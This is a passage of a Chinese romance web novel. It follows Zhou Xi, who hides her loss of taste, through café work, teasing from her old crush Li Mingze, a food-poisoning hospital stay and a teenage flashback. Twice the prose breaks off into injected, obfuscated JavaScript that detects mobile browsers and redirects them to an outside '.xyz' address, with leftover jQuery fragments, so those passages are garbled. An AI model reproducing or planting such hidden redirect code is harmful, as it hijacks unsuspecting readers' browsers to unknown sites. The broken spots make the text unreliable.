周禧头都没抬,继续看她的书,“打住,是不是心里乐开花了,甚至想着万一那人给你推火了,还得多做点蛋糕,好接住这泼天的富贵?” “什么呀~”田恬难得有点想脸红,确实想了,但是嘴硬道,“是怕人家都打出你的旗号了,结果一个人都不来,让你面子跌地上。” 她去看看周禧的书封,“《长腿叔叔》啊,我最近也看了本差不多的,讲女主被资助出国读书,十几年一直写信,回国以后跟同学的小叔有些纠缠,这样那样各种甜虐甜虐,最后发现小叔就是资助人,happy ending了。” “嗯,挺经典的套路,但还是挺看笔力的。”周禧瞅了一眼田恬的手机屏幕,看到了小说的书封:《逃婚66次:少帅夫人乖听话》。 周禧一时间没想好是把问号还是叹号还是省略号捡起来贴脑门上。 田恬不顾她的震惊眼神,正要探讨一番标题党的流量时代这样深刻的话题,院外风铃响,又有客人来了。 她俩起身要接待,再一看,走进院子的是李铭则。 李铭则是看到了周禧的朋友圈,认出来是田恬家的咖啡馆,“要去我妈那儿,顺路,经过这边,买几个小蛋糕,她喜欢吃。” 田恬:“也没人问你啊,解释那么多干嘛。” 她找来打包盒,每样挑了两个给他装好,“亲同学明算账哈,不打折。” 店里的客人她说送就送,十几年的同学该宰就宰,田恬才不跟他客气。 “应该的。”他点头,扫码付钱,拿着纸袋要走的时候才看了眼又坐回沙发上的周禧。 他注意到了,她身上穿着咖啡馆的围裙。 7. 我的爱 周禧低着头在看书,似乎有所感应,她抬眼看向李铭则的方向,简单扬了扬下巴,算是打过招呼了。 李铭则脚步并未停顿,他似乎真的只是路过来买个蛋糕。 可就在他踏出门槛的时候,背景音乐响了起来: “我的爱,明明还在,转身了才明白~” 拍子卡得太精准了,像是为他量身打造的离场音乐。 李铭则回头看,就看到田恬用力拍了一巴掌邵海的胳膊,“谁准你乱放歌的!” 邵海表情无辜,要不是嘴角翘起来了,好像他真没做什么无聊的恶作剧似的。 李铭则踩在“而不是各自缅怀”的尾音上离开了,他一走,周禧也跑过来捶了邵海一拳,“闲的你!” 邵海摸摸鼻子,不言语,刷杯子去了。 田恬探寻地看向周禧,周禧没有强调什么她跟李铭则绝无可能的话,因为心里有鬼的人才会发誓赌咒。 其实周禧自己心里也有点犯嘀咕,不知道李铭则是真顺路还是别的什么意思,她想得太专注,嗓子那儿卡了唾沫,被呛了一口,猛烈咳嗽起来。 正要开口的田恬:“……我还没骂呢。” 周禧双手合十举在脸前:“求放过。” 因为有探店的博主来拍过了,田恬心里就记挂上这件事,准备了更多原料拉着周禧研究小蛋糕,又在休息间隙上网搜她家的店名。 搜的时候心情也很复杂,既担心没有水花,又担心水花太大。 周禧看她这矛盾的样子觉得好笑,想解释人家作选题剪视频也需要时间,最后却说干脆她用社交平台的大号替她发个广告吧。 田恬又坚定地拒绝,一毛钱便宜都不占她的,强调了很多次让她“专心做小蛋糕去”! - 店里客人数量这几天虽然还没有明显的涨幅,CC牌小蛋糕却已经拥有了忠实顾客。 下午五点过十分,小院的门铃如期被门推响。 田恬正在墙边面试来应聘的店员,听到声音甚至都没抬头看,就喊周禧去接待一下。 周禧看过去,果然是李铭则。 他已经连续三天下班后“顺路”来买小蛋糕了。 周禧无语,李铭则也不挑,店里当天做了什么就买什么。 这笔买卖甚至不需要言语交流,周禧沉默着打包蛋糕,李铭则沉默着刷码付款。 第一次来的时候李铭则说是买给他妈吃,这说法并不算太牵强,因为他妈确实喜欢吃这种漂亮小蛋糕,甚至周禧当年还投其所好,去那种手工烘焙坊亲自学着做了一个生日蛋糕送李家阿姨。 只是天天吃这些高糖甜食,对身体也不太好吧? 周禧把盒子递给李铭则,友善地提醒他:“老人家上了年纪,还是少吃点甜食。” 李铭则:“二十八岁已经算老人家了嘛?” 周禧:…… 李铭则怼完这一句,嘴角翘起来,提着蛋糕走了。 田恬也结束了面试,面了这几天,今天总算给她面到一个满意的,他们已经约好明天来试岗。 心里一块石头落地,田恬松了一口气,都无暇去调侃李铭则每天来买蛋糕的事,见着周禧就说明天给她放一天假,要培训新人。 周禧:“放假听起来很不错,但你这样让我有种被卸磨杀驴的苍凉感。有了新人就不要我了嘛,嘤嘤嘤……” 田恬:“大城市的牛马自驱力就是强哈,有假不歇,没苦硬吃,行,那你明天接着来上班吧。” 周禧一口拒绝:“那不行,我也就是随便说说!我明天去找王知夏逛街!” 之前确实跟王知夏有约,可是王制片档期太满,盘算了一下行程让周禧今晚就住过去。 周禧欣然应约,都不用带行李,比回自己那个家都随性。 坐在出租车上刷手机,周禧更新了一条今天新做的小蛋糕在朋友圈,更完下拉刷新,发现比自己早几分钟的时候李铭则也发了一条朋友圈,照片里是阳台一角的茶几,摆着一盘小蛋糕,还有两瓶IPA。 蛋糕配酒,越吃越有啊。 他俩的共同好友挺多的,任谁同时刷到这两条状态,都会觉得他们是在一起吧,不管是一起吃蛋糕还是一起做什么,总之,是会被误会的程度! 周禧烦躁地准备删除自己的状态,烦躁是因为刚才她花了十几分钟修图加花字,因为狗男人,心力白费了。 就在她删除状态的时候,后台多了条消息提醒,是秦朗发来的评论:“又在吃好吃的!哪家?想吃!” 状态已经删除,没法回复评论,周禧私信他咖啡馆的地址。临发送前,她又改了主意,把地址删了重新输入。 拇指在屏幕上戳弄,被初恋搅得心思烦乱的周禧发送信息给邻居:“我家,来吃。” 秦朗收到周禧的信息时,人正在外地的机场签完到。 不是要坐飞机,是要开飞机。 他看着周禧发来的邀约,四个字,无限遐思。 黑色的字摇曳成那晚的夜幕,亮着灯的一方小窗透出清晰的人影。 那天他在透风的连廊上抽烟,无意间扭头,透过小窗看见她白皙的背、还有因为弯腰显得抢眼的臀……他大步退出连廊,用力把安全通道的门摔上,下楼去便利店买烟。 回家的时候经过隔壁门口,又怕她不知道那边连廊能看见房间里的景象,敲敲门想提醒一下,亮着灯的房间却没有声音。 嗯,应该不用提醒了。 想起晨跑偶遇的时候她的提防,之后送他早餐的友善,还有现在带着暧昧的信息,秦朗笑了笑,挺有意思的一个姑娘。 他回:“下班去。” 顺便发了一张自己穿着工作服的自拍。 他这班一飞要四天,说的下班也要两天后了。 王知夏和周禧一起趴在大床上,看秦朗发的自拍照。 “啧啧啧。”王知夏放大看照片里的肩章,“大哥挺会啊,还搞制服诱惑呢?三道杠,副机长?” 周禧也跟着一起笑:“是吧,我也不懂啊,就见过几次。” 王知夏晃着脚丫子,比周禧这个当事人还在意,“人家说‘下班去’,你怎么不吱声了,怂了~” 周禧把手机抢回来,随手插进枕头下面,“没想好呢,住太近了,万一沾惹上麻烦,难道还要卖房子吗?” “也是。”王知夏很理解她的忧虑,一个男人而已,不过…… 王知夏不放心地问:“不过,你其实就是没放下李铭则吧?” 周禧摇头,烦躁的感觉又来了:“哎,你们总这么问,那我问你,你放下了吗?” 她的话让王知夏一滞,就算周禧连名字都没说,王知夏还是觉得心里闷疼了一下。 周禧在柔软的大床上翻滚着转圈圈,“你这床真舒服,你一个人睡这么大床干嘛?” 这床两米八。 王知夏跟着她一起同侧翻滚,两个人像两只大狗熊,一起在草地上滚着玩。 说的话也肆无忌惮的:“我一个人怎么就不能睡大床了?非得把空里都填上男人啊?” 周禧笑着踹了她一脚,两个人打闹起来,闹得肚子咕咕叫,又一起散乱着头发去楼下吃夜宵。 王知夏的房子是她们家出国前就买下的海景复式楼,坐在大落地窗前的地毯上,围着毛巾被,喝着啤酒吃着烤肉,虽然看不到远处的海面,却能从敞开的纱窗里闻到海风的味道,还有不知是不是海浪的刷刷声。 很惬意的感觉。 周禧在客厅的照片墙上看到了王知夏的全家福,父母哥哥都有,那个人的却一张都没。 她不知道王知夏是想忘了他,还是太难忘了不敢看见他,或许都有吧。 王知夏跟周禧聊着旅游攻略,她这些年世界各地走了不少地方,像个活地图。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006079|161936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可周禧问起琴港市的景点时,她却语塞了。 思索了片刻,王知夏问周禧:“我知道两个可以清修的道观你想去住住吗,环境挺好的,依山傍海。” 周禧:“……倒也不必。大师还是给我推荐点能纸醉金迷的景点吧!” 她俩东一句西一句的闲扯,偶尔提及周禧的“工作采风”,她就转移话题,甚至宁愿被问和李铭则的八卦,再不成看看邻居的朋友圈推断一下这是不是个海王也行。 王知夏又有那种说不上来的不安,她直觉一向很准,感觉周禧有事瞒着她们,但好像又不是什么急迫的事情。 就是一种状态,一种没有生气没有期待的状态,不论是对事业或是对爱情,好像都无所谓。 王知夏不再问,最后提醒周禧:“明天阿姨休息,我上午有课,下午一点半还有课,午饭你自己弄点吃的吧,懒得做就叫外卖,四点前我就回来了,咱们去逛街。” 周禧听她安排得如此详细,嫌弃说:“你怎么越来越像田恬了?” 王知夏跟她碰杯:“近妈者唠叨。” 以为已经足够周到,都这么大人了也不必一直照顾。 王知夏哪能想到,她不过去了半天学校,回家就看到周禧虚弱地趴在地上,脸色唇色一样苍白,呼吸都沉重费力。 她吓得尖叫,叫救护车把人送去医院。 等待救护车的时间,周禧翻着白眼骂她大题小作,可她上吐下泻过后体力不支,颤颤地嗫嚅着,王知夏听不清她的话,再看她那翻到一半的白眼就觉得她要不行了似的。 一把掐住她人中:“周禧!周禧你挺住啊!你说什么?我在听,你说!” 周禧这下大声喊出来了,有气无力地拍开她的手:“我说疼!别掐我!” 去了医院一通检查,是急性肠胃炎,食物中毒了。 周禧躺在床上输液,王知夏抱着一堆单子边研究边觉得不可思议,“你是什么大馋丫头啊?那酱牛肉过期都馊了,你尝不出来啊?臭烘烘的你也能吃下去?我真服了你了。” 如果是往常,这不算什么指责,可身体难受,精神也跟着脆弱起来,周禧没忍住眼泪涌上来,抽着鼻子说:“对,我尝不出来,我吃很多东西都是臭烘烘的。” 王知夏把处方单放到床头,表情依旧迷茫:“什么意思?为什么?” “我味觉失灵了!我……了!”周禧本来想对她吼的,可要吼的时候发现自己没法表述这个毛病,中间含糊了几秒,气势全无。 看不见是瞎了,听不见是聋了,尝不到味道该是什么形容词? 这甚至从古至今就不能算是一种严重的病,老祖宗都没给它命名。 虽然周禧没说明白,可她气鼓鼓眼眶含泪的样子让王知夏明白了,她说她生病了,尝不到味道了。 王知夏忙安抚她,调整她手的位置,“好好,我知道了,你别乱动,针管回血了。” 周禧冲动说完又有点后悔,她叮嘱王知夏:“我谁都没告诉,你别跟……” 还没说完,田恬来了。 因为周禧住的是特需病房,单人间,她们说的话清清楚楚地传到门口的田恬耳朵里,她脚步匆匆进了屋,满脸气恼:“别跟谁说?别跟我说?我都听见了!现在是怎么样,搞小团体是吧?” 周禧:…… 尴尬倒不至于,只是没想到自己想在姐妹前遮掩的秘密,以这么混乱的场景被她们知道了。 诡异又沉默的气氛。 邵海姗姗来迟。 他刚才去停车,田恬跑得急,把他丢在身后,两人错开了一段时间。 这会儿邵海看着沉默不语的三个人,感觉周禧病情好像很严重。他走到田恬身边,低声安慰道:“现在医学很发达的,有什么……” “滚。”田恬没好气地踹了老公一脚,让他闭嘴。 周禧噗嗤笑出来。 8. 霸道甜总 没说之前,周禧觉得味觉失灵的秘密像个压在心口的重石,时常令人压抑地喘不过气来。 真说出来了,好像也就那样,没什么大不了的。 她点点头:“邵海说得对,现在医学很发达的,我就是感冒后遗症,过阵子说不定就好了,我现在就比之前好一些了,其实我吃那个牛肉的时候确实觉得臭臭的!” “你还有脸说!” “是不是傻子?” 田恬和王知夏同时开口,一左一右给了周禧脑袋一巴掌。 周禧装柔弱,用没挂针的那只手扶着额头:“哎哎别打,我晕,好晕啊~” 几人说闹着,刚才还有些沉重的话题被揭过去,田恬开始安排周禧出院后的疗养行程:“你去我们家住。” 周禧瞄了王知夏一眼,求助。 王知夏:“你拖家带口的,不方便,还是让她住我那里吧。” 田恬不同意,强势地说:“就是跟着你吃成这样住院的,你先把自己照顾明白吧。” 王知夏:“……她又不是三岁的圈宝,不需要人一直盯着!” 田恬:“就是因为没人盯着,她才把自己搞成这样的。” 周禧想反驳一句,她哪样了,她挺好的…… “拜托,她只是食物中毒,谁不会有个头疼脑热的?”王知夏觉得田恬小题大做了。 田恬却应激了似的,又说起来她味觉失灵的事,“肯定是天天忙工作,饭不好好吃,觉不好好睡,把身体折腾坏了,免疫力才那么差!” 周禧眼看她俩又要嚷嚷起来了,连忙劝架:“妈咪说得对!我去,我去你家住!” 一句话给田恬安抚住了。 田恬又碎碎念:“去我那不是坐牢,不用那个英勇就义那个表情,你去好吃好住,白天出去散散步,闲着就跟我去店里干点活,规律作息……” “都听你安排!”周禧态度格外好,她确实不想给人添麻烦,但田恬和别人不一样,甚至和王知夏都不一样,没人能拒绝田恬的好意。 都说定了,田恬看一眼王知夏的表情,又说:“你要是不高兴,你也住过来。” 王知夏:“行啊,你让邵海搬出去。” 突然就可能无家可归的邵海:……哈喽?没惹你们任何人。 田恬安排了一通,又跟邵海回店里去了,店里只有一个刚上岗的兼职店员,虽然店里有监控,但是毕竟跟新人还不熟,田恬也没法完全放心。 确认过周禧生命暂时无恙,今天就留了王知夏在医院陪床。 夜深了,只留着床头一盏阅读灯,王知夏躺在病房的沙发上,跟周禧吐槽田恬的控制欲。 周禧退烧以后身上有些出汗,宽松的病号服湿漉漉不太舒服,但她谨遵田恬的指示,不敢去洗澡,比田恬儿子都听话。 听着王知夏碎碎念,周禧笑:“她家庭幸福,又当了妈,可能看我们这种孤家寡人就充满母爱吧。” 王知夏反驳:“怎么就孤家寡人了?!” 周禧也反驳:“怎么就不是了?我嘛,就不说了。你,爸妈哥哥在国外,又没对象,那不就是……” 说到对象,王知夏气笑了,“她真得很离谱,那天约我吃饭,结果带了个男的来!还比我小三岁!是她一个血缘拐了八道弯的什么表弟,散场了问我对人家有没有感觉!” 周禧对此见怪不怪了,不过她好奇:“表弟帅吗?” 王知夏回忆了几秒,诚实地点了点头:“那还是长得不错的。” 周禧黑暗中竖起大拇指:“那就不算坑。这可能是传说中的,无痛相亲?” 王知夏叹了口气,好像是翻了个身,在狭窄的沙发上摩擦声音明显,“我就想自己呆着,不行吗?我妈都不管我了,她比我妈还唠叨。” 听到王知夏说这话,周禧不知道为什么,心里跟着酸酸的,她感到一阵孤独涌上胸口,那是一种让手臂都泛起鸡皮疙瘩的冷意。 “你怎么不盖被啊?”王知夏要去厕所,从床边路过,给她把被子往上拉了拉,“睡吧。” 手臂瞬间有了温暖笼罩。 周禧觉得说“谢谢”很奇怪,别扭地说了句:“你怎么越来越像田姐了。” 王知夏边走边丢在身后一句:“像她多好,家、庭、幸、福~” 嗯,像田恬是挺好的。 周禧在心里给田恬盖了个好人印章。手机震动,收到条信息,李铭则发来的。 他说:“听田恬说你住院了。” 周禧又觉得田恬好是好,就是有点碎嘴子,跟李铭则说什么啊。 她决定假装睡着了,不回他。 李铭则又说:“别装没看见。” 周禧:…… -- 田恬当然不是特意去知会李铭则关于周禧住院的事的。 她接周禧出院的时候主动说起来:“前天我们要去医院的时候,正好碰到他来买蛋糕……” 说到这里,田恬露出贱兮兮的表情:“哎哟我们做那个蛋糕那么好吃哟,他吃了几天了还没吃腻~” 周禧没搭腔。 田恬看她好像完全不在意的样子,疑惑地皱起眉头:“他没找你吗?知道你住院了都不关心两句?” 周禧:“找了,关心了,要来探病婉拒了。” 田恬这才又恢复了笑容:“就是嘛,咱可以不搭理他,他最好别给脸不要脸。” 周禧从这护犊子的语气里听出来了,田恬是说自己可以不接受人家,但是对方不能不献殷勤。 这……到底是谁更不要脸啊。 她想起那晚李铭则发的消息,在她沉默的时候他发来一条:“不想我去探病?” 她果断回了个“嗯”字。 李铭则:“不去。知道多此一举,但问了安心。” 周禧挺想问问他什么意思的,但又觉得问了,这事就复杂了,暧昧了。 她不太想跟他再有什么瓜葛。 回田恬家的一路上,周禧都坐在副驾上看窗外,天是蓝的,有电厂的大烟囱高高挺入云端,冒出来的白色蒸汽就成了大朵大朵的云,像是云朵制造公司。 车里放着动感的音乐,田恬开车很注意安全驾驶,并不怎么聊天。 周禧扭头的时候看到后排的安全座椅,猜田恬也经常开车载圈宝出行。 过收费站排队的时候,田恬忽然问她,“无聊?” 说着,飞快从座椅后面的口袋里掏出一本书给周禧,然后又继续开动。 周禧定睛看手里的书,标题是《让宝宝忙碌起来的安静书》,翻开书页,贴贴纸的…… 她无语,拿起手机,“我无聊也有成年人的玩具,谢谢。” 田恬目视前方:“少看电子屏,伤眼睛……” 周禧不犟嘴,在她扩展出长篇大论前重新翻开贴纸书:“好的妈咪!” 成功让田恬憋回去了后面的话。 田恬家里已经收拾好了客房给周禧住,简单安置过后,田恬带她参观了一下家里各处。 和王知夏那边的别墅不同,田恬家是温馨舒适的普通居室。 但也有相同之处,都是海景房,从窗外看出去,那远至天边的涌动的蔚蓝,让人无端感受到平静。 “这是圈宝的房间。”田恬把房间和阳台联通的推拉门打开,“有点乱,你进出的时候小心脚下,别被小汽车‘暗杀’。” 周禧问起圈宝的作息:“他现在上幼儿园去了?” 田恬:“上托班,暑假之后上幼儿园,这几个月先适应一下。在永福那边小区,早上送过去,下午老人去接走带回自己家吃饭,一三五我婆婆接,二四我妈接。” 邵海和田恬两家老人住一个小区,倒不是为了照顾孩子方便而特意买在一起,是他们以前就是邻居。 周禧抱了个抱枕坐到沙发上,不觉得有什么拘束的,随意聊到:“我那个屋是给老人住的?其实我一直不理解,为什么要在家里安排客房这种鸡肋的……” “是给你和王知夏预备的。”田恬打断了她。 “啊?”周禧愣了。 田恬端着马克杯喝着水,平静又带着一点骄傲语气的叙述,“就是给你和王知夏预备的,以前不是说过嘛,要给你们留个狗窝。” 以前,多久以前呢。 周禧爸妈离婚的时候,王知夏举家出国的时候,三个人在沙滩露营等日出,并排躺在小帐篷里的时候。 田恬说没关系的,以后她的家里永远都有她俩的一席之地。 确实说过,可是怎么会有人真的在自己不大的家里留一个房间给朋友啊。 周禧感觉鼻子一酸,眼眶一热,掩饰性地喝了口热水,让氤氲的热气舒缓脸上不自然的表情。 缓和了,她才说:“田老板,你不用去店里吗?快走吧,陪你上班去。” 田恬瞪她:“上什么班,我就说吧,你这病肯定就是上班累出来的,难怪呢,你们老板要给你放一个月的假,他这是心虚了!” 周禧的眼泪瞬间干涸,不自觉挺起腰板来听训。 田恬已经开始“报菜名”了,她连夜查了各种补气养神的煲汤食谱,还买了个新的汤锅,专门为了周禧养身体。 周禧听得头大,小声提出异议:“你要把我锁……呃收留在这里几天啊?我还打算下周去旅游呢。” 田恬:“旅什么游!旅游不累嘛!琴港这么多景点不够你游嘛?你先把你那舌头养好了,再,再说什么旅游的事。” 周禧:……她现在逃跑还来得及吗? 对于家里出现的“不速之客”,邵海没有任何意见。 就像当初装修房子,田恬坚持要留一间客房,邵海爸妈觉得浪费空间,邵海就拍板站田恬:“总要有点独立空间吧,要是我俩吵架了还有个地方过夜,不然难道要我回你们那边睡觉?” 涉及到小夫妻的私生活,老人就不太好说什么了,还劝了几句好好过日子别吵架。 邵海对田恬的理解,不止是十几年的陪伴默契,更像是一种包容变成了习惯。 对此感到新奇的,是那个三岁的“小大人”。 圈宝拿了个毛绒鲨鱼送给周禧:“阿禧,欢迎你来我家~” 周禧已经不去纠正他的称呼了,接受了他的礼物,陪他坐在地毯上,搭了会儿积木玩了会儿小汽车。 她听到沙发上夫妻俩的“窃窃私语”。 田恬:“应该早点让她来住的,还能带孩子。” 邵海:“老婆大人英明。” 周禧:…… 小孩总是爱跟新鲜朋友玩耍,一直玩到睡觉时间了还不肯去洗澡,撒泼打滚要和周禧一起睡觉。 邵海:“不可以,男女有别。” 圈宝:“那我今天是小女孩!” 邵海:“……你大可不必。” 周禧偷笑,她答应圈宝明天还陪他玩汽车小镇,才把孩子给哄走。 静下来,她回了房间重新观察这间小屋,发现了很多细节,一些这房子“属于她”的细节。 墙上挂着的木制相框板上,粘了很多小玩意儿,有她们以前在游乐场打气球兑换的小金碗挂饰,有跨年演唱会票根,有研学做的木版画…… 周禧看着一样,眼前就浮现一件往日的回忆,那些事她从来都没去回想过,可是居然都记得那么清晰,好像尘封在脑海里似的。 “咚咚。”有敲门声。 周禧去开门,居然是圈宝。 他刚洗完澡,没穿衣服,身上裹着厚厚的浴巾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006080|161936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他是来分享自己刚想出来的好主意的:“我们以后结婚,你和我当老婆,我们就可以一起睡觉了。” 周禧看着这个为了防止睡觉时尿床还要穿着纸尿裤的小孩,差点笑喷。 还没想好怎么拒绝这个“求婚”,邵海已经把人扛走了。 田恬跟在后面,摇摇头,和周禧道了声晚安。 周禧带着好心情入眠,梦里,也有人在因为“老婆”吵闹。 那时她才十六岁,因为放了好友鸽子被责骂“重色轻友”。 周禧:“蛋糕这周不吃还可以下周吃,可是比赛就只有这周有啊。” 田恬:“‘上赶子的不是买卖’,听说过没?你这么追人家,只会让他看轻你,不在乎你,说不定还笑话你!王知夏说是不是!” 被点名的王知夏抬起头,清冷的脸上带着单纯的笑意,附和着点点头。 周禧不服气:“追不上才会被笑话,再说,都没追上,我还管他笑不笑话呢!等着吧,等我成了他老婆,我让他天天给我笑!” 田恬眼睛都瞪大了:“好家伙,你还真敢说呢。” 王知夏听周禧说的霸气,也跟着点头,墙头草一样。 田恬知道没法改变好友的决定了,又回到那家网红甜品的话题,“这周能吃到,谁知道下周还能不能吃到,万一他倒闭了呢?” 周禧:…… 大姐你嘴要不要这么毒,人家才开业不到一个月。 反正已经被好友骂过了,周禧还是选择在周六跑来学校看篮球比赛。 篮球场边,稀稀拉拉坐着不太多的观众,都是参赛双方班里的同学。 有认识周禧的,跟她打了个招呼:“今天不是5班比赛吧?” 周禧打马虎:“哦,我记错时间了,来都来了,看一会儿呗。” 有个6班的男生认得周禧,冲她眨了眨眼睛,“今天李铭则上场,来给我们加加油呀。” 周禧敬了个礼:“收到!” 人不多,就还挺容易被注意到的。 反正李铭则注意到她了。 不是上学,她没穿校服,穿了件白色印花T恤,浅蓝色的背带牛仔裙,很青春活力的样子。 他只是看了一眼,就收回视线,说不上是什么感觉。 有一点点烦躁,因为她明显的追求让他成了朋友们讨论调侃的对象。 不可否认的,还有一点点虚荣的雀跃,没人会不喜欢被重视的感觉。 他们打比赛,李铭则是得分主力,在场上瞩目的存在。 周禧和着人群为他喝彩并不突兀。 突兀的是中场休息时,李铭则自己的水喝完了,她巴巴凑上前递给他一瓶新的矿泉水。 李铭则看她。 她脸红红的,但还是顶着他的视线把瓶盖拧开递给他:“咋了,拧不开瓶盖?给,拧开了。” “……”李铭则在同伴起哄之前接过了那瓶水,飞快喝了小半瓶,又返回球场上,感觉喝了水嗓子还是干得发紧。 周禧表面镇定,实则一坐回去就咔咔在群里发消息轰炸姐妹们。 CC:“啊啊啊!他喝了我的水!” CC:“没有拒绝说明什么!说明接受!接受我的爱!” CC:“在场那么多人,怎么不喝别人的水,就喝我的呢?这不是对我有意思这是什么!” 甜甜:“会不会是,在场那么多人只有你给他送水了?” 周禧回头看看四周,怎么感觉田恬像是在她头顶安了监控似的,这都被她猜中。 原本的甜品之约取消,王知夏去上钢琴课了,现在没空看手机,田恬聊了几句以后还是想吃小蛋糕,越吃不着越想吃,干脆自己去吃。 小区门口公交站台,遇见了同班的男生。 田恬跟他不熟,但是每天放学坐校车打过照面,就打了个招呼:“邵海!你去哪儿?” 男生摘下一只耳机,低头看她,虽然没太听清她的问话,但也不难猜,“我去书城买教辅。” 后来周禧看球间隙再看手机的时候,就见田恬发:“耶吼,找到蛋糕搭子了!” 她还来不及细问,就因为比赛结束被吸引了注意力。 6班压倒性获胜,最后李铭则还投了个压哨的三分球,大出风头。 周禧已经听到有别的女生在讨论李铭则了,果然长得帅的人就是受欢迎!她决定先下手为强,跑去校门口等李铭则一起回家! 琴港市的路多坡道,不适合骑自行车。 青春电影里的单车爱情场景很难出现在她身上。 李铭则是自己出来的,还好,周禧跑过去,问他怎么回家,可以顺路一起走。 李铭则:“顺路吗?” 周禧:“不知道啊,你家住哪里,我看顺不顺。” 李铭则:“……不顺。” 没告诉她自己家住哪里,不管住哪里都不顺。 周禧被打击了一下,肩耸下去,怕再纠缠真让人家讨厌了,“好吧,那我打车回去了。拜拜!” 她才转身,李铭则又叫住她。 她回头,就看见他欲言又止,犹豫不决,最后从书包里把换下来的蓝色球衣抽出来,递给她让她围了腰上,红了耳朵先走了。 周禧懵懵懂懂的,小腹一坠,后知后觉地瞪大眼睛:“我勒个去,不是吧……” 她刚才被兴奋冲昏了头,真的完全没有意识到自己生理期了,更没想到裙子已经被弄脏了。 尴尬又果断地把他的衣服横着打结围在腰上,手指肚能摸到衣服的潮湿,是李铭则打球出的汗,却没什么难闻的味道,咸咸的像走在海边。 情窦初开的少女在群里大胆开麦:“都这样了,不结婚很难收场吧!” 9. 巧克力博物馆吃一口 做梦的夜晚睡得并不昏沉,早上圈宝光着脚丫在客厅里跑动的声音,让周禧猛然从床上坐起来。 遮光窗帘有条缝没拉严实,透进来的光照亮空中飞舞的微尘,周禧有些恍惚,不知道自己在哪里,现在又是哪一年。 直到听见田恬刻意压低但还带着怒意的声音传来,她在训斥圈宝,让他不要跑,以及穿上袜子。 周禧想起来了,她在田恬家。 起床换衣服,拉开房门探头出去跟他们道早安。 田恬正把圈宝摁在沙发上套衣服,扭头看了眼周禧,“你醒了?怎么不多睡会儿?是不是被圈宝吵到了?你再睡会儿吧,邵海去店里顺便送他去幼儿园,咱们晚点走。” 周禧看一眼墙上的挂钟,摇头,“在医院睡两天了,不困,一起走吧,我也活动活动。” 田恬应了声“好”,加快速度把圈宝“打包”完毕,一家人一起出门。 圈宝坐在安全座椅里喝着营养奶,懵懂的大眼睛盯着周禧,问她能不能带自己一起玩,“我不喜欢去幼儿园……” 他看起来好可怜啊。 周禧忍不住透过后视镜看副驾驶座上的田恬。 田恬正拿着粉扑化妆,在后视镜里和周禧对视一眼,话却是跟圈宝说的:“邵元彬,你差不多得了哈,你不去幼儿园的话你的云梯消防车谁来守护,你的小花妹妹就找别的小孩玩了。” 云梯消防车和小花妹妹似乎是圈宝的软肋,他沉默了。 最后他老成地叹了口气,把奶喝完,奶盒塞到挂着的小垃圾桶里,“那我还是去吧,阿禧你回来记得给我带巧克力哦,我喜欢草莓口味的。” 嗯?这是什么时候约定的吗? 周禧忍不住扶额,这小孩跟他妈可真像,很爱自说自话以及安排别人。 母子俩她都惹不起,于是周禧郑重点头答应,“收到!” 把小孩送到幼儿园,车里的三个大人瞬间热闹起来,讨论要去喝羊汤。 不知道为什么,周禧有种背叛了盟友的感觉,毕竟在他们大快朵颐的时候,小小圈宝正在吃寡淡的幼儿园食堂。 田恬还安慰她:“他们幼儿园伙食挺好的,荤素搭配,营养健康,还给吃小零食呢。” 周禧“哦”了一声,心想自己也是多管闲事,谁才是孩子亲妈啊? 这羊汤店也是个老店了,全天营业,临近酒吧一条街,经常有半夜喝个通宵的醉鬼凌晨来这喝碗热汤醒醒神。 三个人各要了一碗羊杂汤和一个油酥火烧,夹了一碟小咸菜,围坐在一起吃起来。 邵海吃得安静且快,田恬一边吃一边分享感受,“我上次去郊县表姐家,那边的羊肉汤超级超级香!而且那边配的那个千层饼,特别酥,好像带点甜口?我在市区没吃到过,比那种手抓饼的千层饼做得好,都是手工现做的,还有他们小菜也多,二三十种,小菜自助……” 她絮絮叨叨地说着的时候,周禧就听着,手里不时舀两勺辣椒面或是胡椒粉往汤里撒。 田恬说着说着停下来,看着周禧碗里皱眉,“你就算尝不到也不要吃这么多调料啊,回头高血压了。” 周禧都没意识到自己已经加了好几次料了,她最近似乎觉醒了一点辣味的味觉,所以从前不嗜辣的她好像越来越能吃辣了。 对着田恬嘿嘿一笑,周禧用勺子撇了撇浮在汤面上的辣子,然后埋头喝汤,辣辣烫烫的,喝了几口,胃比舌头先有感觉,很舒服。 油酥火烧也吃了,主食对周禧而言是维持生命体征的必要摄入,尽管吃不出什么好滋味,但是一层一层酥软的口感还是让人觉得应该是好吃的,起码她印象里是这样的。 吃完饭去店里,见到了新店员小帅,小伙子挺勤快的,田恬没要周禧干活,让她去坐着休息会儿。 周禧于是坐在她熟悉的窗边角落,望了会儿天,提出自己由来已久的困惑:“你们店里也看不到海啊,为什么叫‘海边来晤’?” 确实看不到,走去海边还有段距离。 刚问完,邵海正好给她端来杯热茶,“你的‘海’来了。” “……”周禧呛咳一声,“大哥,不要这么一本正经地说冷笑话好吗?” 邵海拎着托盘转身华丽离场。 周禧以为怎么也会是临海的商铺租金更贵之类的现实原因,被邵海这一打岔,又觉得因为老板名字里有“海”于是叫这店名,离谱,但合理。 田恬也拿了杯茶坐到她对面,凑到杯子前嗅了嗅,陶醉的表情,“这个肉桂柑橘闻着像是橘子香甜,喝起来却只有红茶的寡淡,既不酸也不甜。” 